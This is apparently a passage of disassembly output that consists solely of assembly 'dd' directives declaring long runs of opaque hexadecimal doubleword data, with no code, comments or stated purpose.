		dd 0EF4BB748h, 0E4C1EA95h, 0D8D47D2Ch, 9CC9E904h, 16ACED2Fh
		dd 80CC3ED1h, 36BAD3h, 0DE3F58B9h, 0EBBCBF0Ah, 0D0415D25h
		dd 0B89B07Ah, 4C3C2B15h, 32A0B7D0h, 581D6C8h, 7140D4E8h
		dd 2AE4F781h, 0C2C609Bh, 19DB4E09h, 0B6093B90h,	5D1D7C16h
		dd 340855A8h, 5214001Ch, 175960BAh, 96426228h, 304C2416h
		dd 86EA3300h, 2794AC7Ah, 0D845D101h, 3D38A188h,	2F4BE782h
		dd 17D2B57h, 0D5FDF7B5h, 0BC18177Ah, 38E9F1FFh,	0E035A46Ah
		dd 9D5EDDB8h, 0E4129D8Ah, 0A29FBC28h, 2036F256h, 0F0BD26E1h
		dd 45126984h, 98B9B65Fh, 496298DAh, 0A141D8BAh,	5426317Ch
		dd 91E970FFh, 9FF51A5Fh, 0F686F60h, 75D961B8h, 8AA58CC5h
		dd 13583EFFh, 28BA5DC7h, 5B5FDAB7h, 43DE80E8h, 0FA87E9EAh
		dd 0CC032C4Eh, 99C1E180h, 0C9466F1h, 52208EBCh,	0CF814701h
		dd 179A5A86h, 9BA8C30h,	11A2697Fh, 0DDEFA95Dh, 0C60092EBh
		dd 0C4806CB4h, 0C6E7309Dh, 0CF94209Ah, 0DA35C277h, 0F4FB0E45h
		dd 4A13CB4Fh, 12EA6834h, 5948082Dh, 0F6A91C30h,	30D17BE0h
		dd 5216CD5Bh, 0C195CAB2h, 71F1A8E1h, 7CBAC150h,	0E1C2450h
		dd 0BC70025h, 8C2DDEAFh, 9C52858h, 0D31D4FE9h, 0A2C198CAh
		dd 73DEFD7Fh, 4FF7FE2Fh, 5F34BFC1h, 17FE2D15h, 7F5233E9h
		dd 0F8B356AAh, 7CE2B7C0h, 36FB8287h, 0A9F35Dh, 5E28B005h
		dd 8409B850h, 0DC37BC6Fh, 92CD3828h, 66035669h,	5092585Bh
		dd 0B99D515Dh, 5DAE3F09h, 0DC03E1F4h, 0FBA251C0h, 4C05D0E8h
		dd 0FC985F64h, 72D2863h, 1B60536Ah, 19C12889h, 0F9784E1Ah
		dd 599BCE4Fh, 266512E4h, 0B1AA6495h, 21EF3BA2h,	0A5AC964Ch
		dd 32DEF8E5h, 5F7A225Eh, 0B07262F2h, 2953771Eh,	970C2023h
		dd 0D580354h, 26929233h, 2C2515Fh, 610E6527h, 0E949E0DFh
		dd 2F159E94h, 0F04CD7B2h, 0AADFE913h, 5917A1F3h, 12BCBD1Fh
		dd 0D8AE8032h, 0BA2D68A3h, 25149841h, 96559566h, 0AF7A9D91h
		dd 67C3E32Dh, 741A25F9h, 87EBA355h, 7A6B182Fh, 0CFD2ED03h
		dd 0F22B0581h, 8048271Fh, 4ABD2DC9h, 29100AE3h,	280705D0h
		dd 0D99F30BDh, 0FD27EEC3h, 60EAD72Dh, 1DD32D1Bh, 401ECF48h
		dd 17C91145h, 583F7705h, 0A0F1CF67h, 11CA0707h,	7E391BA2h
		dd 485CA554h, 9AF6EF42h, 0FBC6508Ch, 0DE2880D7h, 556927FCh
		dd 2BC05FACh, 225D843h,	0E66150D0h, 91C98FBh, 856184Ch
		dd 51BF80DDh, 0CB37B1E9h, 779C2C1h, 6436590Bh, 1608201Ch
		dd 17A9BF4Eh, 389FB44Ah, 74DA4E41h, 132D0203h, 80095883h
		dd 4CFBC3ADh, 82256A54h, 7B2F0221h, 5CDC348Ch, 0C6E1C92Fh
		dd 76482AE8h, 10F6062Dh, 40B3356Ch, 7F4ADF09h, 750570Ch
		dd 52410882h, 66B802C6h, 29C14AADh, 4CD16ADCh, 0E03CF947h
		dd 1525508Fh, 5909A43Fh, 26E33C5Bh, 8FBA114h, 13998384h
		dd 747B04BBh, 0EBD19843h, 529D9B5Bh, 0ED2CBA2Eh, 0DC422EEEh
		dd 0A1701228h, 0D3FC6A56h, 8623ACB4h, 3E29F5C5h, 32946DEAh
		dd 0A509D735h, 358E6022h, 80B1CDAh, 67882400h, 76900ACAh
		dd 488B859Fh, 7760D141h, 5FD94233h, 0D4CAEF01h,	0CC11E06h
		dd 41B91D6Fh, 73FA2800h, 0F6E255h, 505DEDCEh, 0E4C83E61h
		dd 86EA993Bh, 5B0603E4h, 0D5C0B406h, 14840F8h, 45A2028Ah
		dd 829D2F5h, 7AF01E9h, 0DA011A5Ch, 58160808h, 128DCEEFh
		dd 0EF9C6913h, 0D86564D5h, 0D8FDAF5Dh, 0FBCF5E7Bh, 0CB60194Eh
		dd 0D14FA04Ch, 0C9C57C3Fh, 2D750CDh, 5777B796h,	5667F55Ch
		dd 0D790D4B2h, 6CDF733Ah, 0C17FEF46h, 8125DD12h, 0CD97BA1Eh
		dd 0B03BFD56h, 0E297F3E8h, 0DB59D7BAh, 8279CBEBh, 69680114h
		dd 55D766Dh, 11C15C6Bh,	4DFB0EAh, 0A2D187B5h, 0CC39FECh
		dd 53DE44F8h, 5610C60Ch, 0A20B19E3h, 6A02A51Ah,	75093520h
		dd 4C2791D3h, 1CDC20A9h, 0DDE3D125h, 26603501h,	7DF06BD6h
		dd 6DD0BD5Bh, 71D4859Dh, 0CD4F42A2h, 213319Ch, 5D58FDA0h
		dd 0CD09F99Fh, 61A83B36h, 54E997D2h, 8C2D8058h,	3748C906h
		dd 0E9460927h, 0F5CDE82Eh, 6A5B0555h, 0E6EE0132h, 32AF4B07h
		dd 0A5DCD0B2h, 0C3895A04h, 0E84A0ACBh, 0CC2B841Dh, 75D80907h
		dd 5B0CE0ABh, 0AB795A5Eh, 0FD6AC6FDh, 0B6E8E5ADh, 96853C0h
		dd 6A5A9906h, 0EBC1E0B2h, 0CE75B748h, 6AE7977h,	0A06904E9h
		dd 6F76B904h, 81BB3B3Fh, 0C2A13A05h, 792AE15Dh,	0CB9FF74h
		dd 63247EACh, 581DE124h, 0C98732D4h, 56A040B8h,	93286568h
		dd 4C850F34h, 27FA0457h, 12BE1EC4h, 2BF3E23h, 0ED685D60h
		dd 60D4F457h, 370F3542h, 0DFB2121h, 3E2453F3h, 7AD94BBEh
		dd 0CEDF0FE2h, 7C0C2EB8h, 25C1A257h, 0CB221C56h, 0DD098FD3h
		dd 78D1A080h, 4B127337h, 81AF387h, 1A427D08h, 64C5280h
		dd 94A516Bh, 27E207C3h,	42F89B96h, 0B0556D20h, 3AB13F01h
		dd 52504B25h, 0F9C0392Fh, 0DB54CBF7h, 0D4EEFE71h, 8C21886Ch
		dd 0B51F801Fh, 0DB2CCE8Bh, 0E0DCA5E3h, 0ACA8DABFh, 4044D98Fh
		dd 97D0ECA2h, 0AF9DD4FAh
		dd 0E520ABCDh, 82323DC8h, 65130CE0h, 0CA951252h, 0B5080AB0h
		dd 0AD44D017h, 5EBBF9F6h, 961ACB2Fh, 0B12204EAh, 7C55BEFBh
		dd 868449AFh, 2C461635h, 9C560C7h, 0BF4B97C3h, 3102AC7Ch
		dd 750E6468h, 0E9308A5Ah, 9FB94D36h, 2F4247Bh, 22200236h
		dd 0DE7E235Bh, 0A21FE000h, 0C1D9F724h, 3F66791Eh, 0E8EDF991h
		dd 676F4F78h, 9E37A00Ch, 4E8BE943h, 113EB45Eh, 0E584B2B4h
		dd 0F50450B8h, 5301AE52h, 9A69E9EFh, 23C9AE07h,	8216F0DDh
		dd 0BC71DFC1h, 22FF6C62h, 0ADC6CB31h, 174A652Ch, 982F7440h
		dd 0D7F7285Ah, 4817702h, 0C347C2BEh, 0A380AF89h, 0B5C0E9DAh
		dd 119A42E8h, 8AEC5481h, 5416D418h, 0CA5F2977h,	4BFB1EEEh
		dd 2AF89974h, 0C0B5BEB2h, 800D14CDh, 704A7F68h,	0E5C0D9ECh
		dd 0BB610C48h, 0E90BE161h, 0CE6F2D95h, 6FC44A36h, 4E0FDA01h
		dd 2330DCC5h, 8D515A5Bh, 72F48AC6h, 0F2A5B04Ah,	6790201Ch
		dd 8B32E8B0h, 0C0E65117h, 0DA8AEAA8h, 0F9DD9673h, 14B65853h
		dd 1233C5BDh, 0BC8717F0h, 0C3F95B50h, 0A2B0593h, 316B88DDh
		dd 8977114h, 6AEC51D7h,	73E77B0h, 4232ED60h, 7A57B9F7h
		dd 20530570h, 0C6E92AFBh, 0C6054589h, 23B178BFh, 217D4FEh
		dd 0BA71E908h, 84F7E72h, 0C16010B5h, 0D5D2049Ch, 0BB59CE29h
		dd 0D82ECE2Dh, 22AE9EDh, 314AA568h, 790799EFh, 7AD18051h
		dd 3F718F3h, 72A00DD8h,	0E03199Fh, 3A33F435h, 1EC6A849h
		dd 473E483Ch, 0C75DA500h, 61E78117h, 3B4D5605h,	0D556F9E9h
		dd 0FE02031h, 0B52A9C49h, 0AA034426h, 0EA0932D4h, 60F14260h
		dd 240D9F41h, 0C00B2C38h, 334E1605h, 0F9014C75h, 291D0858h
		dd 7412DD8h, 0CCE66FE9h, 4315941Bh, 5E00E58Eh, 0FA65B0B8h
		dd 0A0E8C102h, 203E0ADh, 0D1B63540h, 0BF585FFDh, 0D0D4DA80h
		dd 8968BE16h, 0E9A191AFh, 5DE742Ah, 3DB2569Fh, 7DD8C125h
		dd 4B34D99Dh, 23277E6Ch, 62AD5454h, 20551557h, 0A34E9EF8h
		dd 68216966h, 39AA2600h, 0ACB80C18h, 42550225h,	93C8F591h
		dd 5125313Dh, 15E75DE4h, 8734D525h, 0C5FFE94Eh,	0E9CAEAABh
		dd 5D953532h, 0D8C473E2h, 8BF32918h, 9F38F6B7h,	0DB27EC66h
		dd 0DC2A686Ch, 415E8143h, 1414B0Fh, 736ADDF7h, 40B41B7Ah
		dd 60FAACFh, 8AE79018h,	8B60DFD6h, 0BE07BD55h, 0C12C1B56h
		dd 450282DBh, 49FE20E3h, 81015310h, 27760BCDh, 14414D50h
		dd 80003BA8h, 594B11C3h, 4B68C4CCh, 31DF8D57h, 8BD9A749h
		dd 0D3A9D5B2h, 0B90A7A4h, 0C2D5715Dh, 0E92202C6h, 25CF7E73h
		dd 5D276B67h, 5182B1E5h, 5DE0D4E9h, 374EB846h, 3BC55C4h
		dd 949430A9h, 0E922FD81h, 1B02580h, 5F12142Dh, 350143DAh
		dd 329248C2h, 69B0B32Eh, 31F89048h, 0AA1C9757h,	3B2AE3B0h
		dd 5A90E829h, 36D1F607h, 9BD2D740h, 0D680144h, 4C57733Bh
		dd 608D1080h, 0A54F0A48h, 648FEC28h, 80E690B5h,	0F5AB4CEAh
		dd 33E7742Dh, 0E9DD8701h, 69883028h, 1A3D781Fh,	0F0A561DEh
		dd 0C1D35F95h, 7B46A216h, 4A7435B3h, 5D02D050h,	7D1FCE57h
		dd 5453FE89h, 8B34A3C4h, 713B6BFh, 58E48004h, 0D03BEC37h
		dd 0CA280FE1h, 8ACB5966h, 0A738EED8h, 35EA5A4Ah, 60C1EA5Ah
		dd 6C56DB26h, 77E5A21Bh, 8A279EDAh, 0BED3A099h,	90724264h
		dd 0D980092Fh, 0FB58A63Bh, 418D5101h, 0B850F301h, 58C30850h
		dd 1F7BBD5Eh, 0F955F8C2h, 0AD253CE1h, 0D3777309h, 5787C255h
		dd 0A03B6C77h, 0BC5170F7h, 54505031h, 7E32AE7h,	0C21B0193h
		dd 0F0375246h, 0DD3BEEFh, 0BB5D16AAh, 6B75F7CBh, 3E55640Eh
		dd 943EC6A7h, 0F1050D73h, 0C1400E49h, 45709684h, 9F5EF021h
		dd 35AFE5C8h, 59B6D495h, 70452C68h, 0E1E0B3B5h,	0CC2A5C6Bh
		dd 0DE52083Ah, 314905DFh, 0D4FB1183h, 0B60817F9h, 0E9EE505Fh
		dd 0E165AB30h, 168F6857h, 4413D15h, 117A08Ah, 0FBF05BBDh
		dd 4CEAF342h, 41F89D20h, 6BBB531Dh, 29410EC4h, 4FF033B1h
		dd 7CDE3B0Ah, 6E86C204h, 46EAD7FDh, 709F5C7Eh, 0D5213B08h
		dd 0D0A60C92h, 0F8167143h, 0B12D4C7Bh, 2B8A99B9h, 0AD5FC128h
		dd 0A1A4C42Ah, 3676BF00h, 89972BECh, 0E29789BBh, 0FCE1FDFFh
		dd 0EC1B3159h, 0D19D11C0h, 0CB1A0896h, 0A610572Fh, 4232D2F7h
		dd 834251h, 685BFDBDh, 0EA29C50Eh, 5DF9AB5Dh, 2F3E9166h
		dd 4F19965Bh, 0E7F691EAh, 3EA7F9E3h, 5FC35202h,	0FBEFC30Dh
		dd 902BC018h, 0FEFD7B01h, 176F7AEDh, 0F1293616h, 808044Dh
		dd 571DAE84h, 91E1B996h, 5EB3C878h, 18C42219h, 0D8DDDFC5h
		dd 784CFA6Ch, 0A514102Ch, 0DF2809FFh, 43852B10h, 0E42D6A9Ah
		dd 70B7DE06h, 0D582C411h, 17D8BE2h, 0C71C6E13h,	75EA9F25h
		dd 30F1F550h, 6140FF38h, 0B4F30180h, 5103E3C0h,	5C5FC2B1h
		dd 68C90384h, 972E79E9h, 0CB805989h, 1661527Fh,	5E313C1h
		dd 40AFC50h, 2DF45E78h,	5F8BC1C3h, 2F9AC8Bh, 0BCE842F6h
		dd 0BD25C01h, 9BDF336Bh, 1E1225C8h, 6272E874h, 667E02E7h
		dd 6578FC3Ch, 5B98D271h, 574BAAF1h, 4C20EA34h, 35C6971Fh
		dd 0F205790h, 0CF292C76h, 0ECC3130Dh, 0C6BBA2A9h, 87F3258Ah
		dd 748C4D2h, 308513E3h,	42102EB8h, 0C0AB4A37h, 4135EF9Fh
		dd 0CC5B162Dh, 0D2FD339Ch, 0F9835866h, 60D128F9h, 4597F8B1h
		dd 167524BEh, 0C4CDB8BBh, 0BA136F05h, 6C41231Eh, 6D0C2D40h
		dd 923F77D5h, 0E6EAA442h, 0C00EC25Fh, 2F30E498h, 0B303574Ch
		dd 21A1BEEDh, 0D423A534h, 2ABB0CDEh, 7C09F785h,	2251E477h
		dd 0FA4C3F59h, 3D560B4Ah, 150433A1h, 0F0280716h, 5F829772h
		dd 0D0E221ABh, 0E4D960F7h, 2FE13CBFh, 0DF484B7h, 2028B01Fh
		dd 4F9BB1D0h, 0AAD084E7h, 0BCD6ACF6h, 0E7C082E8h, 77295202h
		dd 7AB88178h, 85418AFCh, 503BB67Bh, 551643E0h, 0F8A907DCh
		dd 0C3660841h, 7D14B44Ah, 0B4667440h, 0E05A3AFEh, 0B8A7E4Bh
		dd 0A1E16CD4h, 5F02284Fh, 0B3F61AE6h, 31AF72BDh, 95156BA6h
		dd 31DD2248h, 3C3B5A02h, 32E9C204h, 44FC25Fh, 54A94EF8h
		dd 0DCE5B0D3h, 76E55402h, 0F8D9E95Dh, 0F1293FA2h, 4E3D4CE0h
		dd 58605E04h, 4A675710h, 58CABD28h, 0D20C080Ch,	5DBD2C13h
		dd 4BB699BBh, 16474CCCh, 9F0F71BFh, 6ACFA07Fh, 9016311Ch
		dd 0EC227719h, 7C558902h, 8013243h, 946C4833h, 7C794C4Ch
		dd 27773068h, 0F76A89DDh, 0E9063B47h, 52F23C5h,	0B255E3E5h
		dd 0EDF0FA52h, 0EB4BBD33h, 2156B6D1h, 0B9B76E47h, 0AC3C407Eh
		dd 130A2C3Ch, 24EB4A40h, 26BF04ADh, 0C9FE072Eh,	0F5697029h
		dd 2E75EBCCh, 1194CB28h, 5CCA60E6h, 9D5E5456h, 8F7428DFh
		dd 0B45FC287h, 0B945FEF9h, 1F377585h, 0D0808819h, 0BE3A9B41h
		dd 4E811010h, 368BE9F3h, 217903A9h, 4E925966h, 0C73274B5h
		dd 0FD5F1122h, 0B7D47F68h, 0B8E90802h, 925CC0Bh, 174A356Bh
		dd 4948055h, 984CAA20h,	586C7DDFh, 0BF0021EAh, 2D7B0666h
		dd 1027150Eh, 2080545Eh, 1143F907h, 20CE3E9h, 97C7BB60h
		dd 38F892F4h, 0F2794227h, 5FE5EE0Eh, 0A3815BA0h, 0E7650E40h
		dd 66055E17h, 7504640Bh, 2CF8DB60h, 1E14063Bh, 420B2EF2h
		dd 39185C20h, 0C094F7B4h, 4FEBC7EEh, 0E26ECD25h, 0D73A7584h
		dd 5A1B8540h, 2935AD16h, 0E4022FA9h, 4365FD0Ch,	5E8CF61h
		dd 2EF124D9h, 49967DE2h, 4C538390h, 10F74CAAh, 0BD2E450Ah
		dd 3DB900C2h, 4BFFF581h, 0F3FF60BFh, 9C22BFC8h,	35003A4Ch
		dd 0E4382449h, 6E001C1h, 0BDC99305h, 0F5A22F77h, 0F13AE912h
		dd 0B4EF2C0Ah, 1A5A8EFAh
		dd 0D630072Ch, 9E15EF96h, 0DB3F4151h, 0FBB94F03h, 8DE94498h
		dd 842DF995h, 0AC7D5568h, 3237C42Ah, 205FF340h,	0D14A1AB5h
		dd 8603F1F8h, 0E939A248h, 0C67D4092h, 3B6B01B7h, 160547F7h
		dd 2975C42Ch, 71A8F05Eh, 0E91002B4h, 1CDD2E8Bh,	0B51C7C05h
		dd 0A448A779h, 9C21A446h, 18F28B7Eh, 0B881347Bh, 0A5D9816Fh
		dd 81DCD730h, 2FE0415Fh, 25CD729Ah, 75F81832h, 88C6BD06h
		dd 0AEF1038Bh, 0DA242AA0h, 3F5E608h, 5366FD88h,	5CD9EBA3h
		dd 236BA57Dh, 5B502A44h, 0BB9DA0CBh, 0F3BD264Bh, 13F47282h
		dd 4A80995Eh, 292BA80Bh, 0C808C44h, 68145958h, 0C7F87ACCh
		dd 0D3D2DBBBh, 99626055h, 34AD251Ah, 506B7874h,	49D00094h
		dd 0FE2D70E9h, 5A4A841Fh, 0ED560FABh, 83BE39C4h, 0AE2DF07Fh
		dd 454AF4BAh, 2F1BAC3h,	0F1121F6Ch, 0A32ED02Fh,	7A4B5D1Eh
		dd 0B1BDD981h, 8885CC6Bh, 0FED9C0BDh, 211994Ch,	53B575D5h
		dd 743780DFh, 134DCA48h, 414FCEE9h, 5B0DB9ADh, 0D9796093h
		dd 0DA9708FAh, 37ED05EBh, 824CB13Ah, 5E04530Bh,	14F2DED1h
		dd 6BBE5FF4h, 0B6540BF6h, 6C15C40Bh, 0EA3C5BFFh, 0E83A077Dh
		dd 285C85A1h, 0C71015EDh, 0FA306251h, 0D701F57Eh, 6BE43FEAh
		dd 0A1729CECh, 0A47A5808h, 36121E17h, 5921138h,	0B2A580Bh
		dd 0BE0C10B8h, 2A036C02h, 0B362FE5Ch, 0FE1CC921h, 4D16B7BDh
		dd 0E44FAC22h, 568D89A8h, 22EB3AF6h, 0B5C153AAh, 5C1282B4h
		dd 0DA434C68h, 37341A4h, 0AFD9D3AEh, 0D078300Fh, 4FB92612h
		dd 2718F508h, 4B75C28Bh, 0F428E039h, 8FE0B53Eh,	0E633E950h
		dd 62545647h, 8F5876C3h, 0E83226DAh, 55590CE2h,	0DEC9B1D1h
		dd 2710CA59h, 75D009F5h, 323CEE82h, 11655B07h, 0B20257E8h
		dd 5AD72097h, 0BFEE7A7Dh, 622FC8D2h, 8D9628EBh,	47A14F3Ah
		dd 9FDE0806h, 0B4C12C20h, 614A2947h, 0C9FC4FEh,	4DE5B08h
		dd 1C045AD2h, 0B7CC6F4Dh, 0E0849055h, 0C515C940h, 0F0F390F7h
		dd 3E5D8108h, 0BBF293B8h, 584A7EF8h, 1742B0B0h,	12F696Ch
		dd 60273FD1h, 0E9E07F30h, 7B0F04B4h, 0EC83E93Eh, 6852A060h
		dd 166A0B5Eh, 0F4D45A61h, 710B179Eh, 2C80536h, 0C34CDAE8h
		dd 4B13C20Eh, 8284BA3Dh, 92F77710h, 0A9D7CCEFh,	94070F7Ah
		dd 2FA50234h, 785A7C6Eh, 0D333A074h, 0DBD39546h, 5AF5EF99h
		dd 40FFCE80h, 0CF010759h, 3008C4D0h, 3C5B056h, 2C7F607Dh
		dd 414DDCCAh, 0D6A86150h, 1788D716h, 0BE5304EFh, 70A51420h
		dd 64BD3B18h, 2D3CB294h, 52C069B3h, 0B9BB43A0h,	50B581A0h
		dd 0ABEBD6F4h, 0E3090053h, 0E424D4A0h, 70F38818h, 39600341h
		dd 0AB5200ECh, 76E58108h, 6D1D9F1Dh, 3700BE56h,	0EC686067h
		dd 675C9E79h, 427230E1h, 830BB951h, 0DC2CE733h,	16858B30h
		dd 8DC339DFh, 935AB99Dh, 0BF6A80A2h, 5F002ADFh,	5548B93Ah
		dd 9E299A44h, 0FB5020Bh, 0C8D54CA6h, 81193E9Eh,	0FB7760B2h
		dd 0F202E41h, 213618ACh, 7A5C0C17h, 5F9FDD7Fh, 2FD06DA8h
		dd 0BCA8977h, 0D6E0DDCDh, 0E918D729h, 86480D97h, 9D23EEC7h
		dd 0F7806381h, 2CF8C1F1h, 43D0D7BBh, 9D40A268h,	0B92D35FBh
		dd 2A190276h, 521CEC91h, 7F76E901h, 0A4BA6900h,	9D319F71h
		dd 86987C70h, 1065CA09h, 20620FA8h, 2A0136ECh, 7B405CE9h
		dd 955C5C71h, 0E76A04B5h, 0F892892Bh, 3A90D746h, 0C708C997h
		dd 3A76F52Bh, 8D4D1CE9h, 0EA04EF5Bh, 8704A419h,	481C0D5h
		dd 425FCF68h, 0E08564CCh, 0E43AEBB7h, 6440B142h, 0B061B586h
		dd 14873B9Fh, 0B3C2D835h, 79B0774Ch, 0CCBB2186h, 0D115270Bh
		dd 0E95DE11Dh, 55995135h, 0BD51E15Ah, 8E96AECEh, 0F0C80197h
		dd 0F7787AF2h, 0C46BF27Ah, 75147F45h, 0E6086F07h, 0B071B520h
		dd 0FC9DBF7Dh, 64864FE3h, 4AB51936h, 0CFD68040h, 9D57A54Eh
		dd 7CEABA44h, 11205FBBh, 0FD37A99Fh, 0D56BDC65h, 0C1B7A98Eh
		dd 2F34333Eh, 49A1A5E8h, 0E18101D0h, 769B43F0h,	0C7C9043Fh
		dd 80095B12h, 0D0037F3Ah, 58512117h, 4AA8BBBh, 21936402h
		dd 559AA80h, 48392D88h,	38585D61h, 2DE5D0AEh, 0C21993F5h
		dd 267D5E51h, 66687867h, 28FC284Eh, 2CE2BFA4h, 220AE519h
		dd 95A07F31h, 0AA015FE8h, 8303304Ah, 9B293E12h,	10CBB67Fh
		dd 5D4C2D11h, 7D1B4A06h, 88060C4Ch, 1B84DC9h, 0EA2D4ADAh
		dd 685DE803h, 0B0ACBCBEh, 150798D8h, 2ADFB97h, 25325694h
		dd 51A585Dh, 5085FFF2h,	0C175FFADh, 66601D80h, 29624C20h
		dd 671010Fh, 0C2474036h, 74688E9Ah, 4B922148h, 0AD305280h
		dd 91D9A006h, 6B6F2860h, 1B0213E5h, 0F1BB00DCh,	631392Bh
		dd 3B41FAB8h, 0D6ECC021h, 89B51F90h, 0B8E352F2h, 5FB92F7Fh
		dd 68158F9Eh, 2085EC6h,	300A59B9h, 44067C7Eh, 0F9E2EA5Fh
		dd 0BC18A681h, 0EA173008h, 0CA04FC09h, 33B68410h, 2D575C1Dh
		dd 3BBA028h, 0BA86A01h,	12800C05h, 2918CC4h, 0A36F6850h
		dd 2D5D19A4h, 43DC52D5h, 0B8D1B72Bh, 78555942h,	15D79777h
		dd 170A084h, 1BA96DC5h,	2F1316E9h, 462547D0h, 1A39484Fh
		dd 5B96DE20h, 0E9A75D2Dh, 0B51E8005h, 83B509B0h, 325FD05Eh
		dd 185D12Ah, 0A2CDC12Eh, 8560653Bh, 6F2CE7B1h, 0DD8B99C1h
		dd 0DC47B7Bh, 5547B4FBh, 0A2CEE912h, 0B0B130ABh, 7976DC3Bh
		dd 513AED06h, 176B0BFAh, 1EAE37FCh, 2D32B295h, 0B019C8E0h
		dd 2988629Dh, 0A6890684h, 552CC2E5h, 32FF7D97h,	0C9E8DE67h
		dd 0F3101057h, 46249D86h, 3A32A1DFh, 3E609EA6h,	5BEE6851h
		dd 596D5617h, 251C61AAh, 63B04854h, 6218C033h, 30C9E9FDh
		dd 5E3B251h, 797A8284h,	6FC0EF5Dh, 603C152Ch, 4DFF0F0Ch
		dd 0D4BD315Fh, 0FD002FFBh, 713A37CAh, 73EA0CC1h, 0AA8CFD7Ah
		dd 0C175F3BBh, 0A543460Bh, 0E226A5Ch, 0CB3FA508h, 8B7D22EFh
		dd 6974E07Fh, 0C916D6D4h, 6BA86190h, 142EA6A2h,	0EC5B93EDh
		dd 90171684h, 0E8E5A08Dh, 8DB2FDEAh, 25391DDFh,	662B9975h
		dd 680BC268h, 3A557BBh,	4B29AFF7h, 8233D8ECh, 2A02937Ch
		dd 601B0A7Fh, 305CC049h, 3018694Eh, 0B5F6544h, 95BF8007h
		dd 317FE771h, 2112D83Bh, 5B3CFA5Bh, 5EBB0753h, 0C0788F2Ah
		dd 0E5193FCBh, 14B6727h, 8010C488h, 15B3147Ah, 65EFE982h
		dd 2639C990h, 7651765Ch, 0D7E500BDh, 2631A0Eh, 15EF0558h
		dd 0B74239A3h, 3430241h, 5F4A7831h, 7BCFCDB7h, 4B28FD88h
		dd 24C8ECF1h, 81083BC1h, 7D680487h, 0E53DAB08h,	59C12062h
		dd 766DE068h, 58960038h, 565D40C1h, 0C26B71E9h,	0C8B70F5Ah
		dd 6A1C62C1h, 6EE8A9D9h, 0B0939953h, 0E13D37E2h, 8E8B195Eh
		dd 78A1EB63h, 4AEAB310h, 450E257Ah, 3E58C619h, 3FABE8C8h
		dd 29D1FEFDh, 97319220h, 0E7FF8F89h, 55798934h,	0C9BD7FC4h
		dd 177AA5FEh, 0F324FF68h, 2DEA1FC4h, 0FC57E635h, 595752ECh
		dd 1260E94Eh, 9BD2EE3Dh, 0FA48A602h, 0F7796A31h, 1BA85C47h
		dd 98810E20h, 455A27A7h, 0F36082D9h, 81F3D3Bh, 0C3834B5Bh
		dd 7691003Dh, 6AE93553h, 0EF748257h, 0EDB2C03h,	566FE241h
		dd 0F221033Fh, 2184685Eh, 0CA060A9Ah, 0B8196D16h, 9EAE0904h
		dd 55C4570Eh, 7CFDAB4Eh, 0C829D59Eh, 0E40CED4Bh, 58E2CBFEh
		dd 51F42F9Dh, 0C1E02FC2h, 4C5F0AFEh, 0EC4B26ECh, 6C0B5A9Eh
		dd 27646753h, 9D354364h, 26DD8CFCh, 69EDA047h, 0BF57DA00h
		dd 1D2B7A4Fh, 0B0D7F70Ah, 0FB768D2Eh, 0ABE8714Ah, 86EF0F79h
		dd 29CBD3CAh, 0FEFB33D0h, 67295A05h, 40B9E23Bh,	3F5E75FDh
		dd 49F13FF8h, 0FFB36E5Eh
		dd 9B005389h, 1CD30167h, 14C1585Ah, 996C4443h, 0A406BBC1h
		dd 5AC88031h, 0E9491A7Fh, 0EA499FAAh, 77CA2A04h, 3A19F994h
		dd 3CA59356h, 8EE54D7Bh, 66E5E04Dh, 0B06CA25Fh,	29F40CC9h
		dd 692636B1h, 0BD5B1873h, 0E568FEB0h, 57A95C03h, 0C057552Ah
		dd 97E95150h, 51DC595Ah, 1E883768h, 0A492B585h,	64CA052Ch
		dd 0CC0BC90Ah, 0D9C05D2Dh, 3F65C7E9h, 43C35B26h, 61AB8CB3h
		dd 78EF4A58h, 0F63A715h, 8532FB80h, 40DC1DEFh, 28B12C58h
		dd 60E904C8h, 5A0E54E0h, 36FEC6E9h, 32934EC1h, 94AA660h
		dd 6BE28142h, 8339FC05h, 0BED74BBCh, 1D34512h, 0C1D50BEEh
		dd 554A0BC4h, 4EE7EE80h, 225A483Ah, 1844937h, 4377875Ch
		dd 0AA0581D4h, 26EE0A25h, 80E0F4BAh, 87DCF339h,	0DA2821EAh
		dd 5459C287h, 26DD9DECh, 40E0402Dh, 0CC0705Ch, 0B4FEB0A2h
		dd 14CA5829h, 88172820h, 22EC5AF1h, 2550B84Bh, 9F4CF818h
		dd 0EA9E5719h, 7DC1BA7Fh, 1600A82Bh, 0FB93E916h, 2EB1A0D7h
		dd 0B62CEBE0h, 8471CB4Ah, 0DF21D34Fh, 0FA04FACCh, 0E25ACCDAh
		dd 0D5A21879h, 187EF1E3h, 0C763915h, 0CE4A1D33h, 6F02A513h
		dd 7829EFE8h, 0F1BD5FA7h, 0F0FF1DD2h, 0E69FE44Bh, 0F15E583Dh
		dd 0D1F7740Dh, 594234D4h, 0FD1790FAh, 39EAF214h, 88CA2F41h
		dd 683A90D3h, 46BD0932h, 0E7FB37AAh, 895D4B87h,	65A19A69h
		dd 35B6B2D1h, 6809B865h, 0F0A9E68Ah, 0A13E0BFEh, 3368597Fh
		dd 0D1D7B04Ah, 3487EB8h, 5F13BF4Bh, 17860D11h, 7103EAD1h
		dd 97DA6814h, 0FF669CD2h, 0A124B7C7h, 0CBEC5F12h, 0D8BF0D9Eh
		dd 561094CDh, 2FE9B08Dh, 0BB78832Ah, 4BADD649h,	6120EE2Dh
		dd 3B0E6353h, 2A5AF9B8h, 0C2AB00C4h, 184102CAh,	0FC477037h
		dd 0C03F2A41h, 426866A8h, 926E197Ch, 0E5D50E57h, 0ACF91084h
		dd 1CE20710h, 3D84C981h, 27802DE3h, 67C46EE5h, 0A1350C15h
		dd 7B016A2Fh, 9D5AA2B4h, 10DE157Dh, 0F9092EEh, 0E76E05B8h
		dd 709837Ah, 64EA0D4Ah,	9C0B8B1h, 610CF22Ah, 0E0CE0189h
		dd 3009FB47h, 802276FDh, 7E0B5E43h, 0A20E03E9h,	593A2696h
		dd 78080ACh, 84353881h,	12FA0BD3h, 3544EB12h, 7B1E2B89h
		dd 0BA182F12h, 46B5B930h, 0B2EF5F08h, 73FC161Bh, 4CAD91EAh
		dd 0CA0F95A8h, 12BA4E42h, 0E38501B8h, 408F8409h, 0D530948Bh
		dd 625D9FA2h, 8B0802F5h, 1AB3FA14h, 465AEAE9h, 9340135Eh
		dd 9F3CCA2Ch, 47677D59h, 517B590h, 0B7383A61h, 69AD984Bh
		dd 0EC270094h, 41EB0EBFh, 1446711h, 28284CBh, 683EE908h
		dd 84326DDh, 424841D6h,	0C7858C88h, 95BE037Eh, 31A39761h
